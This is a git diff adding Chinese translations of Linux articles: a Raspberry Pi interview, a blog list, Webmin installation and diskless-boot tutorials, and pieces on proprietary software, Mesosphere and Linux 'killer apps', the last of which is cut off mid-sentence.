+我特别喜欢应用到高空气球的任何项目。环境监控-有一些英国的高中学生在IndieGoGo发起了一个叫[AirPi][4]的项目,这是一个污染监控防御系统,底层将用到树莓派。所以会有许多这样的项目,你可以用派来处理物理的,或化学的,或者生物的事情。-这些都是我认为有实用性的事情。这种项目也更容易向孩子们证明,这是值得他们关注的项目。 + +**RW:** 我们什么时候可以看到树莓派C型? + +**EU:** 暂时还没有计划。我们目前都还在处理软件工作。我觉得我们还有机会通过调整软件来大幅提升系统性能,再优化一下。 + +如果我们现在就启动制作C型,将会抛弃250万使用目前平台的用户。所以我觉得,至少现在,我们决心要继续软件工作,因为这可以帮到所有已经在这个领域里的人。我们感觉通过软件优化还有很大的性能提升空间。 + +显然,我们同时也必须做一点[硬件方面]的事情。我真的不知道具体在什么时候。如果到了2017,2018,我们还在销售树莓派B型的话,那也挺糟糕的。但是,我认为我们也许在一年后再认真考虑后面要做什么。 + +**RW:** 很多人的项目同时用到了派和Arduino(一个DIY电子调试工具套件)。你在设计派的时候,有考虑类似Arduino的工具吗? + +**EU:** 实际上没有,但是我们很早就意识到,媒体可能会倾向于把我们和Arduino看作竞争者。对于这件事情我们有点多疑,我觉得,因为我认为派和Arduino分别处理不同的事情,而且他们都做得很好。 + +我们并没有把它设计成配合Arduino工作,但是Arduino被设计成配合家用PC一起工作。所以,我们实际上为Arduino制作了一台非常低功耗的家用PC。所以好吧,只是巧合,我猜。 + +**RW:** 你在家里用树莓派做什么?工作中呢? + +**EU:** 在家里,我把它当作一个媒体中心;这是树莓派一个非常普通的应用。有趣的事,有些从事消费电子的人,把它当作消费电子来用。我当然也是其中之一。 + +在工作中,我总是没有我想要的那么多时间来玩玩树莓派。通常在工作的时候如果在用派的话,那是因为我需要测试刚拿到的一些软件更新。大多数时候我用它来检查我花钱请的承包人是否把工作做好了。 + +我真心希望明年会有更多休息时间。有时我感觉,除了媒体中心之外,我参与制作了这么神奇的玩具,但是因为它太成功了,我都没有时间去好好玩玩它。 + +不过,看到这么多的人喜欢它,看到它被出现在各种不同的地方,也是很开心的。我听说在《生活大爆炸》中提到了我们,我要去找找是哪一集。它出现在所有的这些不可思议的地方。真是非常开心,看到这么多人把它放在心上,开始用它做点事情。 + +承蒙树莓派基金会提供Eben Upton的图片; + +树莓派图片来自Flickr用户:[Johan Larsson][5], [Clive Darra][6], [Pete Sneekes][7], [Luca Sbardella][8]和[Ashley Basil][9] + +-------------------------------------------------------------------------------- + +via: http://readwrite.com/2014/04/08/raspberry-pi-eben-upton-builders + +译者:[zpl1025](https://github.com/zpl1025) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://twitter.com/EbenUpton +[2]:http://en.wikipedia.org/wiki/BBC_Micro +[3]:http://www.raspberrypi.org/welcome-lance/ +[4]:http://airpi.es/ +[5]:https://www.flickr.com/photos/johanl/8384790662 +[6]:https://www.flickr.com/photos/osde-info/8626662243 +[7]:https://www.flickr.com/photos/p8/7950485168 +[8]:https://www.flickr.com/photos/sbardella/7473604878 +[9]:https://www.flickr.com/photos/28438417@N08/8006786385/in/photolist-dcwSD8-d8PKa3-bmosVm-bmosWG-bz3YJF-e8NRQD-btyqN1-dorXrE-hTF7id-hTF7jL-hTF4mJ-hTF4jj-hTF4q1-hTF7jA-hTF7gj-gKRLrn-ftALdo-c7Qnjs-c7Qnyh-c7QmZj-c7QnY1-c7QmNY-cu8zs3-cu8BWm-cu8u5S-cu8yC3-cu8DBN-cu8wRq-cu8xNL-cu8CJj-cu8tss-cu8BcG-cu8uVL-cu8AoW-hTF7dU-hTEzCr-hTFBCp-hTFBvR-hTFBBH-hTF4hA-hTF7c1-hTEzza-hTFBM2-cdtf1b-bz7n87-gKQSJ7-gKQUko-ds8x8q-dqweVP-cVwvJq diff --git a/published/201408/20 Amazing Linux Blogs For Beginners.md b/published/201408/20 Amazing Linux Blogs For Beginners.md new file mode 100644 index 0000000000..3de1c1b846 --- /dev/null +++ b/published/201408/20 Amazing Linux Blogs For Beginners.md @@ -0,0 +1,73 @@ +初学者福利 —— 20 个超赞的 Linux 博客 +================================================================================ +你是刚刚开启 Linux 开源世界奇幻旅程的新人还是寻求灵感的老鸟?不论你是谁,博客都能给你提供一站式服务,满足你的所有需要。博客是一种言辞简洁格式清晰的信息来源,这些信息都源于现实世界里像你我一样乐于帮助他人掌握知识的人。 + +1.[Ubuntux][1] + +2.[Mark shuttleworth's Official Blog][2] + +3.[Ubuntu Living][3] + +4.[Planet Gnome][4] + +5.[Planet KDE][5] + +6.[Linux Tracker][6] + +7.[Linux Watch][7] + +8.[Mandriva Blog][8] + +9.[Linux Security][9] + +10.[Linux on Desktop][10] + +11.[LinuxBSDos][11] + +12.[All for Linux][12] + +13.[Linux from Scratch][13] + +14.[RootPrompt][14] + +15.[Linux Home Networking][15] + +16.[YoLinux][16] + +17.[Librenix][17] + +18.[Linux Journal][18] + +19.[Linux Street][19] + +20.[Linux Hub][20] + +-------------------------------------------------------------------------------- + +via: http://www.efytimes.com/e1/fullnews.asp?edid=144715 + +译者:[sailing](https://github.com/blueabysm) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.ubuntux.org/ +[2]:http://www.markshuttleworth.com/ +[3]:http://ubuntuliving.blogspot.in/ +[4]:http://planet.gnome.org/ +[5]:http://planetkde.org/ +[6]:http://linuxtracker.org/ +[7]:http://efytimes.com/e1/www.linux-watch.com +[8]:http://blog.mandriva.com/en/ +[9]:http://www.linuxsecurity.com/ +[10]:http://linuxondesktop.blogspot.in/ +[11]:http://www.linuxbsdos.com/ +[12]:http://allforlinux.com/ +[13]:http://www.linuxfromscratch.org/ +[14]:http://rootprompt.org/ +[15]:http://www.linuxhomenetworking.com/ +[16]:http://www.yolinux.com/TUTORIALS/ +[17]:http://librenix.com/ +[18]:http://www.linuxjournal.com/ +[19]:http://www.linuxstreet.net/ +[20]:http://linuxhub.net/ diff --git a/published/201408/20140528 Install Webmin On Ubuntu 14.04.md b/published/201408/20140528 Install Webmin On Ubuntu 14.04.md new file mode 100644 index 0000000000..641ae465b4 --- /dev/null +++ b/published/201408/20140528 Install Webmin On Ubuntu 14.04.md @@ -0,0 +1,57 @@ +在Ubuntu 14.04中安装Webmin +================================================================================ +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/webmin-790x586.jpg) + +[Webmin][1]是一款开源的、基于web的、适合Unix/Linux的系统管理工具。使用Webmin,你可以通过任何一款现有的网页浏览器来设置和配置所有的系统服务,比如DNS、DHCP、Apache、NFS和Samba等。因此,你无需记住所有的命令或手动编辑任何的配置文件了。 + +### 使用官方仓库在Ubuntu 14.04 LTS上安装Webmin ### + +添加webmin的官方库: + +编辑文件**/etc/apt/sources.list**, + + sudo vi /etc/apt/sources.list + +添加下列行内容: + + deb http://download.webmin.com/download/repository sarge contrib + deb http://webmin.mirror.somersettechsolutions.co.uk/repository sarge contrib + +添加GPG密钥: + + sudo wget http://www.webmin.com/jcameron-key.asc + sudo apt-key add jcameron-key.asc + +更新软件列表: + + sudo apt-get update + +使用下列命令安装webmin: + + sudo apt-get install webmin + +如果你想远程访问webmin的控制台,则需要设置防火墙允许通过webmin的默认端口“10000”。 + + sudo ufw allow 10000 + +### 访问Webmin控制台 ### + +打开你的浏览器,转到这个地址**https://ip-address:10000/**。将会出现下面的画面,输入用户名和密码就可以登陆进webmin控制台了。 + +![Login to Webmin](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/Login-to-Webmin-Mozilla-Firefox_010.png) + +这是我的Webmin控制面板的样子。 + +![Webmin 1.690 on server.unixmen.local (Ubuntu Linux 14.04)](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/Webmin-1.690-on-server.unixmen.local-Ubuntu-Linux-14.04-Mozilla-Firefox_011.png) + +就是这样简单。现在你就可以图形化地管理和配置你的Ubuntu服务器了。欢呼吧! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/install-webmin-ubuntu-14-04/ + +译者:[KayGuoWhu](https://github.com/KayGuoWhu) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.webmin.com/ \ No newline at end of file diff --git a/published/201408/20140607 Got Linux--Add Proprietary Code.md b/published/201408/20140607 Got Linux--Add Proprietary Code.md new file mode 100644 index 0000000000..1f93099ef5 --- /dev/null +++ b/published/201408/20140607 Got Linux--Add Proprietary Code.md @@ -0,0 +1,113 @@ +为什么不要在Linux上只运行开源软件? +================================================================================ +![](http://www.linuxinsider.com/images/rw661226/linux-enterprise-proprietary-code.jpg) + +> 对于一些产业来讲,在开源的Linux发行版上运行专属(proprietary)软件并不是个例,--相反这很常见。例如,在华尔街,“华尔街上百分之九十九的应用依赖于专属软件。在那些运行在Linux上而有专属许可证的产品中,Oracle是我们非常喜欢的一款”, FSMLabs 的总裁 Victor Yodaiken这样说。 + +迁移到Linux平台并不是一个非此即彼的提议。linux作为一个灵活开放的计算平台为用户在软件选择上提供了更多的选项。 + +第一个方法是Linux的桌面环境,个人计算用户,小型办公室和企业都可以从众多的企业级Linux发行版中选择。在Windows和被限定在其昂贵硬件的基于unix的苹果OS X之外,Linux桌面系统为用户提供了另外一种零成本或者低成本的选择。 + +另一个迁移的办法是,让员工放弃Linux桌面办公,取而代之,企业可以在Linux服务器上运行后台办公系统。在网络应用和云计算领域遍布Linux的足迹,Linux服务器能在各种企业设定中寻找到自己的位置。 + +第三个方法是运行一个完整的Linux商店,常用的办公计算、网上浏览、图片编辑工作软件都存放在开源的软件包中。开源的数据库程序连接着后台的软件和服务器,而且Linux不需要特殊的硬件和多余的花销。 + +培训员工使用Linux桌面应用仅需要很少的投入。这要感谢职员们对跨平台软件的熟悉,例如LibreOffice 和 Open Office, 当然还有 google Chrome和 Firefox浏览器。先前的办公交流工具真的面临着威胁。 + +Linux很灵活。一种新的趋势是编写第三方的特定软件来满足自己的商业需求,商业软件公司可以重新编译打包那些必备的windows或者其他平台的软件。他们也可以结合开源的组件用他们自己特定的代码来编写特定需求的linux应用程序。 + +Dayan Jeremiah,[Icewarp Pacific][1]的CEO告诉linuxinsider:“我相信这将是一个新的趋势,企业正在使用可以运行在Linux系统上的第三方软件。让企业走向定制化软件的一个因素就是购买微软授权的经济负担太重。” + +### Linux 上运行专属软件 ### + +很多公司转向其他操作系统面临的问题就是软件和应用程序的兼容性问题,比如转向Linux,那么这家企业必须保证它用的软件必须是兼容Linux操作系统的,jeremiah补充道。 + +Linux操作系统有着数量巨大的软件,它们运行在数量众多的linux发行版和桌面环境当中。考虑到行业的特殊性,广大的开源团体或许并没有提供替代一个特定计算任务的替代品。这样的情况下,就不得不花费精力寻找第三方软件开发者的帮助。 + + “通过第三方厂商帮助来保证兼容性的问题,比如,我们可以混合和匹配各种软件组件在一起,以便让一个应用程序可以运行在Linux上。”jeremiah这样说。 + +### 旧貌换新颜 ### + +越来越多的专属软件公司,比如Icewarp,开发特定的软件来满足企业特定的业务需求,他们将许多开源组件混合在一起使用。 + +相比在微软框架下,这样不仅节约了授权费用,也节省了开发代码的费用。 + +“我们可以使用现成的软件组件为Linux构建完整的软件解决方案,这个方案非常节省,高效而且稳定。”jeremiah补充道。 + +Icewarp开发的特定软件并不是免费的开源项目,并不提供免费版本,需要订购并支付费用,而且售后支持也是收费的。 + +### 代码移植的混乱 ### + +[Lucera][2]的CEO Jacob Loveless提到,把一个来自其它平台的软件变成Linux兼容的,一个很大的障碍就是Linux的多样性。Linux操作系统有一个通用的内核,但是不同的发行版有很多不同的特点。 + +“当软件公司不得不在多个Linux系统中交叉编译时,问题进一步加深。”除了微软的Exchange数据库之外(LCTT译注:此处疑为笔误,可能是“MS SQL Server”),大部分数据库都在linux上运行的很好,MySQL和PostSQL是其中非常出名的两个开源软件(LCTT译注:此处PostSQL应该是Postgresql)。” + +在软件移植到Linux时的最大挑战,是需要重新编译代码,通常你必须要完成一些平台特定的修改才能让它工作,他说。 + +比如,你有特定的基于.Net的代码或者其他的针对Windows的语言代码,Linux上开源的编译器并不总是兼容,所以你有很多的软件工作必须重做,loveless解释说。 + +另外一个例子就是数据库,你往往不得不改用其他的数据库或者不同的网页服务器。 + + “这确实需要一些工作”loveless说道。 + +### 多但不足够 ### + +另外一个转向Linux的兼容性问题就是公司需要的开源软件类型。 + + “对于公司特定的计算需求开源软件方案并不完善”ICeWarp的Jeremiah补充说“但是,通常对于Linux来说都是足够的,开源团体无法做到的特定的应用程序可以由第三方来实现。” 比如说,IceWarp最近完成的一个特定的Linux兼容的应用程序就不需要采购额外的硬件也没产生多余的授权费用。 + +这个特定的软件包含一个负载均衡的集群,一个运行数据库的集群,另外一个是IP服务器的集群。所有的都运行在RHEL或者CentOS linux发行版当中。 + +### 跟钱走! ### + +在一些情况下,有钱才有Linux操作系统的应用,有时候Linux服务器在一个领域很流行,又有些时候只是一个特定的Linux桌面应用程序,有时候两者都有。 + +举个例子,例如在华尔街,在金融市场中时间同步是关键。金融网络依靠分布式网络,用户必须在截止时间内完成交易。其它的应用需要在交易前进行精确的计时。[FSMLabs][3] 的总裁 Victor Yodaiken 说,这些功能需要精确的时间同步控制。 + +当FSMLabs开始开发时间同步软件时,Yodaiken觉得他们只需要开发一个Windows版本。 + +然而,事实证明每一个在使用自动交易或者高频交易的人,甚至以高精度采集数据的人,都运行的是Linux系统,他告诉LinuxInsider。 + +### 惜时如金 ### + +FSMLabs在Linux上运行他们的专属代码,Linux上的互联网时间协议(NTP)并不适用于同步时间在纳秒级别的应用,比如那些追踪股票变动,或者交易需求。 windows的不足有另一个原因。 + +Yodaiken说道:“(在这方面,)Linux比Windows流行是因为windows没有一个标准的API可以让你在毫秒级之下获取时间,所以Window并不是真的都好,你必须得有特定的API才行。而在Linux下。你不需要在你的应用程序上费力了。” + +金融市场是第一个拥抱Linux的,很多早期的系统管理员来自20世纪80年代的[贝尔实验室][4],因此这是一个很成熟的市场,他补充到。 + +### 满足需求 ### + +在某些领域,在开源的Linux发行版上运行有专利的软件并不意外,这是很常见的。 + +“华尔街99%的应用都运行在有专利的产品上。在我们在Linux上运行的有专属许可证的产品中,我们很喜欢Oracle。”FSMLab 的 Yodaiken说。 + +一些使用Linux的市场需要更多特定的软件,现有的开源软件并不能满足他们,这就是为什么软件开发者们为企业Linux应用提供了商业的解决方案。他补充道。 + + “这很平常,开源软件很适合大的市场,这就是为什么他有广泛而且通用的需求,不是很多人需要绝对的微秒级的时间,而且如果没有市场就会发出信号。”他指出。 + +### Linux纯粹主义是没有意义的 ### + +在Linux上运行完全免费开源的软件的观念是欠缺的,有时候你要运行专属软件。对于任何特定的行业都是这样。 + +当一个专业的计算不需要进入广泛市场时,第三方的软件开发者可以提供特定的,商业的或者闭源的软件解决方案。由于商业需求不断进入Linux系统,绝对的开源将成为过去的事情。 + +“在Linux上拥有商业软件是相当普遍的”,Yodaiken说,“商人都不是纯粹主义者,他们只想解决问题。” + +Jack M.Genmain从Apple II和PC时代就开始报道电脑科技,他还有原始的IBM PC-Jr和运行DOS的机器。他留着共享软件和开源软件的linux桌面。他运行着好几种版本的Windows和Linux,经常不能决定是用他的tablet还是netbook还是android智能机,而不是用他的桌面电脑或者笔记本。你可以在google+上联系他。 + + +-------------------------------------------------------------------------------- + +via: http://www.linuxinsider.com/story/80555.html + +作者:Jack M. Germain +译者:[jiajia9linuxer](https://github.com/jiajia9linuxer) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.icewarp.com/ +[2]:https://lucerahq.com +[3]:http://www.fsmlabs.com/ +[4]:http://www.bell-labs.com/ diff --git a/published/201408/20140611 Little Known Apache Mesos Project Helps Mesosphere Raise $10M From Andreessen Horowitz.md b/published/201408/20140611 Little Known Apache Mesos Project Helps Mesosphere Raise $10M From Andreessen Horowitz.md new file mode 100644 index 0000000000..d865181c6b --- /dev/null +++ b/published/201408/20140611 Little Known Apache Mesos Project Helps Mesosphere Raise $10M From Andreessen Horowitz.md @@ -0,0 +1,50 @@ +鲜为人知的 Apache Mesos 项目帮助 Mesosphere 公司得到了千万美元投资 +================================================================================ +![](http://thenewstack.io/wp-content/uploads/2014/04/clouds.jpg) + +[Mesosphere][1],一家试图围绕鲜为人知的 Apache Mesos 项目开展商业活动的公司,刚刚从 Andreessen Horowitz 那里获得了 1000 万美元投资。以下是为什么这个项目能够吸引如此巨款的原因。 + +事实上 Mesos 这款自动扩放软件已经出现了五年了。据 Mesosphere 的CEO及联合创始人 Florian Leibert 所述,Mesos 已经在 Twitter 内已经管理了超过 50,000 个以上的CPU。此外, EBay, AirBnB, Netflix 还有 HubSpot 也是这款软件的使用者。 + +当那些互联网巨头发现 Mesos 的时候,这项技术却并不为大多数企业所知。但它确实可以满足一些公司在他们内部的数据中心上应用公共云的一些技术的需求。 + +Mesos 管理集群机器,根据需要自动扩放应用。它在每台机器上只依赖很少的软件,它由一个主调度程序协调。据 Leibert 所说,其CPU 占用为 0 并且几乎不消耗任何内存。在其工作的每台机器上的该软件会向调度程序报告关于虚拟机或者服务器的容量信息,接着调度程序向目标机器分派任务。 + +“如果一项任务终断并且没有返回任何结果,主调度程序知道如何重新调度它和它所用的资源在哪里。” Mesosphere 的资深副总裁 Matt Trifiro 说。 + +Mesos 能自动扩放一系列的任务,包括 Hadoop 数据库,Ruby on Rails 节点,以及 Cassandra 。 + +使用 Mesos 使得 Hubspot 削减了一半的 AWS(Amazon Web Services) 的费用支出,Liebert 说道。这是因为 Mesos 能够在目标机器之间有效地分配作业量的原因。 + +然而,Mesos 更有可能应用到那些试图真正地在内部创建一个类 AWS 环境的企业,一位来自 451 Research 的分析员 Jay Lyman 说。AWS 提供一些[自动扩放工具][3],但大多数公司对于在公共云基础设施上运行所有东西还是感到不安。与此同时,他们并不想着反对他们的开发者采用 AWS 那样的公共云中可用的优异性能。他们希望他们的私有云能集成这些可用的优点。 + +“如你所见,类似 AWS 风格的界面风格,与监控、命令、操控以及稳定性相融合,” Liebert 继续说道。 + +Mesos 既可以在一个私有云上也可以在 AWS 上运行,向企业提供最有效率地使用其内部云的方法,并在需要扩放时自动切换到 AWS 去。 + +但是,从另外的方面说 Mesos 也是有一些缺点的。它[并不能运行][4]任何 Windows 操作系统或者比较古老的应用比如说 SAP 软件。 + +不过,Lyman 说,“假如一个团队拥有长时期使用云的经历,他们大概早就对 Linux 操作系统情有独钟了。” + +在将来,Mesosphere 能够支持 Windows 操作系统是很有可能的。最初,像 Puppet 和 Chef 这样的技术也只支持 Linux 操作系统,Lyman 表示。“这只是早期 Mesosphere 的特性。现在它还是不太成熟,” 他又说道。 + +Mesosphere 正瞄向大部分使用现代编程技术构建了越来越多的运行于 Linux 的应用的企业,以及 Twitter 和 Netflix 这种在初创时还没有 Mesos 类似技术的第一代 Web 2.0 公司。“这是早期两类最常见的客户概况,” Trifiro 说。 + +年终之前,Mesosphere 希望发布包含文档的商业产品,通过技术支持与颁发许可证来获得营收。Mesosphere 已开发一款名为 Marathon 的大规模扩放编制工具,并且支持 Docker 集成。它现在免费提供打包好的 Mesos 发行版,希望以此占有未来的市场。 + +Mesosphere 同时也正在为少数早期的顾客工作。它帮助 HubSpot 实施有关 Mesos 的搭建。 + +Mesosphere 在这个领域并不唯一。Rightscale,Scalr 以及现在归 Dell 所有的 Enstratius,全都提供了一些各种版本的扩放或云管理技术。Mesosphere 强调说,Mesos 及其公司自己开发的技术在单独机器中创建服务器集群方面的表现远胜于市场上的其他同类软件。来自 Andreessen 的新投资一定会帮助 Meos 获得更大的动力。 + +-------------------------------------------------------------------------------- + +via: http://thenewstack.io/little-known-apache-mesos-project-helps-mesosphere-raise-10m-from-andreessen/ + +译者:[SteveArcher](https://github.com/SteveArcher) 校对:[ wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://mesosphere.io/ +[2]:http://mesos.apache.org/ +[3]:http://aws.amazon.com/autoscaling/ +[4]:http://mesosphere.io/learn/ \ No newline at end of file diff --git a/published/201408/20140616 How to diskless boot a Linux machine.md b/published/201408/20140616 How to diskless boot a Linux machine.md new file mode 100644 index 0000000000..eddf0d8adb --- /dev/null +++ b/published/201408/20140616 How to diskless boot a Linux machine.md @@ -0,0 +1,151 @@ +如何无盘启动Linux +================================================================================ +无盘启动意味着一台客户端电脑在启动操作系统时没有任何的磁盘存储介质。在这种情形之下,电脑能够通过网络从远程NFS服务器上加载内核和根文件系统。在这过程中可能会用到多种不同的方法来从NFS服务器上加载内核和根文件系统:RARP,BOOTP或是DHCP协议。在这个指导教程中,我会使用BOOTP/DHCP协议,因为它们能够被大多数的网卡所支持。 + +### 无盘计算机的优势 ### + +想象一下你的办公室内有30台电脑,每一台都需要使用相同的应用程序。如果你作为管理这些电脑的管理员,你会怎么做?如果你在每一台电脑上安装应用程序,那只是在浪费你的时间。另一方面来说,一套无盘系统就能解决你的问题。有了一套无盘系统,你只需在中央NFS服务器上安装需要的程序,然后通过网络启动这30台客户机即可。 + +### 需要什么 ### + +两台或更多的装备有支持DHCP协议的网卡的Linux电脑。这些将扮演NFS服务器角色的电脑应当配有硬盘,其它客户机不需要任何的硬盘。服务器和客户机需要连接到同一个本地网络之内。 + +设置一个无盘系统共需要五步。 + +1. 安装所需的包 +1. 配置TFTP服务器 +1. 配置DHCP服务器 +1. 配置NFS服务器 +1. 启动无盘客户机 + +在这个指导教程中,我假设作为启动服务器的电脑运行的是 Ubuntu。如何你正在使用其它的Linux发行版,原理是一样的。 + +### 第一步:安装所需的包 ### + +像下面这样使用 apt-get 命令来安装所有需要的包。 + + $ sudo apt-get install dhcp3-server tftpd-hpa syslinux nfs-kernel-server initramfs-tools + +### 第二步:配置TFTP服务器 ### + +TFTP服务器是一个小型FTP服务器,需要用它来在本地网络中的客户机和服务器之间自动传输启动文件。 + +向/etc/default/tftpd-hpa中添加以下行: + + RUN_DAEMON="yes" + OPTIONS="-l -s /var/lib/tftpboot/" + +接着,创建一个启动文件夹。 + + $ sudo mkdir -p /var/lib/tftpboot/pxelinux.cfg + +复制引导程序镜像。 + + $ sudo cp /usr/lib/syslinux/pxelinux.0 /var/lib/tftpboot + +像下面这样创建一个默认启动配置文件。 + + $ sudo vi /tftpboot/pxelinux.cfg/default + +---------- + + LABEL Ubuntu + KERNEL vmlinuz + APPEND root=/dev/nfs initrd=initrd.img nfsroot=10.10.101.1:/nfsroot ip=dhcp rw + +注意: + +- "root=/dev/nfs"表示服务器上的网络文件系统(不需要修改)。 +- "initrd=initrd.img"是一个用于系统启动的启动脚本。 +- "nfsroot=10.10.101.1/nfsroot"指明了服务器的IP地址以及NFS共享文件夹的名称。用你的服务器地址来替换掉IP地址。 +- "ip=dhcp"表示客户端电脑使用DHCP寻址方案。 +- "rw"表示NFS共享是可读/可写的。 + +最后,重启TFTPD服务。 + + sudo /etc/init.d/tftpd-hpa restart + +### 第三步:配置DHCP服务 ### + +你还需要在NFS服务器上配置DHCP服务来允许使用/var/lib/tftpboot/pxelinux.0启动。假设你在使用10.10.101.0作为子网,你的配置可能看起来像下面这样子。 + + $ sudo vi /etc/dhcp3/dhcpd.conf + +---------- + + allow booting; + allow bootp; + + subnet 10.10.101.0 netmask 255.255.255.0 { + range 10.10.101.2 10.10.101.254; + option broadcast-address 10.10.101.255; + option routers 10.10.101.1; + filename "/pxelinux.0"; + } + +然后重启DHCP服务。 + + $ sudo service isc-dhcp-server restart + +### 第四步:配置NFS服务器 ### + +创建一个保存客户机根文件系统目录的文件夹。 + + $ sudo mkdir /nfsroot + +接着,设置NFS服务器导出客户机根文件系统。向/etc/exports添加以下行来实现。 + + /nfsroot *(rw,no_root_squash,async,insecure,no_subtree_check) + +运行下列命令来重新载入修改过的/etc/exports。 + + $ sudo exportfs -rv + +默认情况下,Ubuntu在initrd镜像中不提供网络启动支持。因此你需要创建一个新的initrd.img文件。首先添加下列行到/etc/initramfs-tools/initramfs.conf中。 + + BOOT=nfs + MODULES=netboot + +然后运行下列命令来创建一个新的initrd.img。 + + $ sudo mkinitramfs -o /var/lib/tftpboot/initrd.img + +将新的内核镜像文件复制到/var/lib/tftpboot中。 + + $ sudo cp /boot/vmlinuz-`uname -r` /var/lib/tfftpboot/vmlinuz + +是时候将整个根文件系统拷贝到/nfsroot中了。 + +假设您使用的是一个全新的Ubuntu服务器安装,你只需将文件系统拷贝到NFS的根之中。 + + $ sudo cp -ax / /nfsroot + +然后通过文本编辑器打开/nfsroot/etc/fstab 并添加以下行。 + + /dev/nfs / nfs defaults 1 1 + +文件夹/var/lib/tftpboot应拥有全局读写权限。否则客户机无法从网络启动。 + + $ sudo chmod -R 777 /var/lib/tfftpboot + +最后,为了避免任何服务器设置出现错误,我推荐对运行DHCP服务的网卡使用静态IP。举个例子,如果网卡名为eth0,你的/etc/network/interfaces中的配置应该看起来像这样: + + iface eth0 inet static + address 10.10.101.1 + netmask 255.255.255.0 + broadcast 10.10.101.255 + network 10.10.101.0 + +### 第五步:启动无盘客户机 ### + +在您完成了服务器上的配置之后,从网络启动你的客户机。要从网络启动一般你只需修改BIOS设置中的启动优先顺序即可。 + +如果客户机启动成功,您的无盘环境就配置好了。无需做任何修改就可以任意添加一台或多台客户端电脑。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/06/diskless-boot-linux-machine.html + +译者:[alim0x](https://github.com/alim0x) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201408/20140617 Does Linux Lack a Killer App.md b/published/201408/20140617 Does Linux Lack a Killer App.md new file mode 100644 index 0000000000..796b9df8e6 --- /dev/null +++ b/published/201408/20140617 Does Linux Lack a Killer App.md @@ -0,0 +1,113 @@ +Linux 缺乏一款杀手级应用程序吗? +================================================================================ +![](http://www.linuxinsider.com/images/rw302843/linux-killer-app.jpg) + +**Linux 最需要的就是游戏, Hyperlogos 的博主 Martin Espinoza 如是说。然而,“如果您把它限定到一款应用程序的话,最需要的很可能仍是 Photoshop 。尽管大家都在谈论 GIMP 已经变得多么多么强大,但它的易用性仍然是个悲催的噩梦;虽然开源社区有些相关的文档,但 GIMP 仍是处在缺乏文档的可怜状态。”** + +这些日子这儿越来越热了,Linux 博客世界和 FOSS 论坛的粉丝们都蜂拥入带有破窗的休息室,边吹着冷空调,边讨论此话题。 + +甚至是 [Linux Girl][9],这些天也被这些越来越多的潮流所冲击,正在 blogobar 上寻求能使其降温的慰籍,而且越来越频繁。 + +虽然她们这样做比较正确,但或许她们已经错过了最鲜最美味可口的辩论大餐。“Linux 缺少什么样的杀手级应用程序?”这个问题[已经扩大化了][1],关于此的讨论越演越烈,已经超出以往任何时候。 + +“开源软件世界的软件是如此令人难以置信的丰富,几乎涵盖了所有的领域,” **Linux Voice** 的 Mike Saunders 开头说到。“我们有桌面端的、服务端的、开发相关的及多媒体工具等一大笔来自开源世界的财富可以选择 -- 其中的某些还是在相关领域中最好的呢。” + +“但还缺少什么吗?” Sanders 接下来提出可争议的话题。“是不是存在一款杀手级应用程序,它会使你的主机不能 24x7 小时的在运行?” + +参与者围绕着吧台考虑这话题的时候,出现了短暂的间歇。Linux Girl 也享受着这短暂的平静,但并没有持续多久。 + +### '取决于您的所需' ### + +![Linux Girl](http://www.linuxinsider.com/images/article_images/linuxgirl_bg_pinkswirl_150x245.jpg) + +“很久以前,Linux 需要很多东西,” Google+ 的博主 Alessandro Ebersol 发言了。“当任何软件和厨房水槽都迁移到云端的那些日子,做任何的事情都得考虑多平台兼容性。” + +“我想说的是我们缺少游戏,但这种情况也正在被改变,” Ebersol 说道。“所以我觉得我们并不是那么迫切的需要一个杀手级应用了。” + +“杀手级应用程序?取决于你想用计算机做什么,” consultant 和 [Slashdot][2] 博客的 Gerhard Mack 认为。“如果您正准备拟稿做设计,那么杀手级应用程序就是 AUTOCAD 。但对其它行业来说杀手级应用程序将是别的。” + +### '企业平台空间' ### + +Google+ 博客的 Kevin O'Brien 有相似的观点。 + +“在消费级存在的应用程序不算太多,” O'Brien 说。“我虽然会抱怨游戏或者 Nvidia 驱动程序,并且我看还没有任何东西能真正替代 Quicken。(译者注:Quicken 是一款家庭及个人财务管理软件,可管理个人及家庭的日常收支、银行卡、支票、信用卡及税务等财务信息,有着丰富的功能和简单快捷的操作。)但对我来说最大的不同是企业平台空间。” + +“微软就拥有企业平台空间,没有什么比得过 Outlook/Exchange 服务, Sharepoint 等这些应用的,”他断言到。“我猜测部分原因可能是真正关心这些的开源开发者很少很少。” + +### '浪潮正发生改变' ### + +与其说是“缺乏应用程序”这种情况,不如说是“临界的质量不够”的问题,Google+ 博客 Gonzalo Velasco C. 建议说。 + +比起五年前,现在用 Linux 的人已经越来越多了,他指出;但同时很人都依赖于非 Linux 友好的应用程序。 + +“虽然每个人都在使用 Skype ,但一大半的应用程序都是基于 GNU/Linux 协议的,从简单易用的 Pidgin(我的最爱)到 Ekiga 和通用 VoIP 等等,” Gonzalo Velasco C. 解释说。“一些用户仍宣称他们需要 PhotoShop,并不想花时间来掌握和改进 GIMP、Inkscape、Bender 及其它的。” + +“曾经是很缺乏游戏,“但这状况正发生改变,主要是(但并不是唯一)因为 Valve 的勇敢开创 SteamOS 之举,”他补充道。 + +### '零售货架空间' ### + +“我认为这段时期根本就没有‘杀手级’应用程序,”[Robert 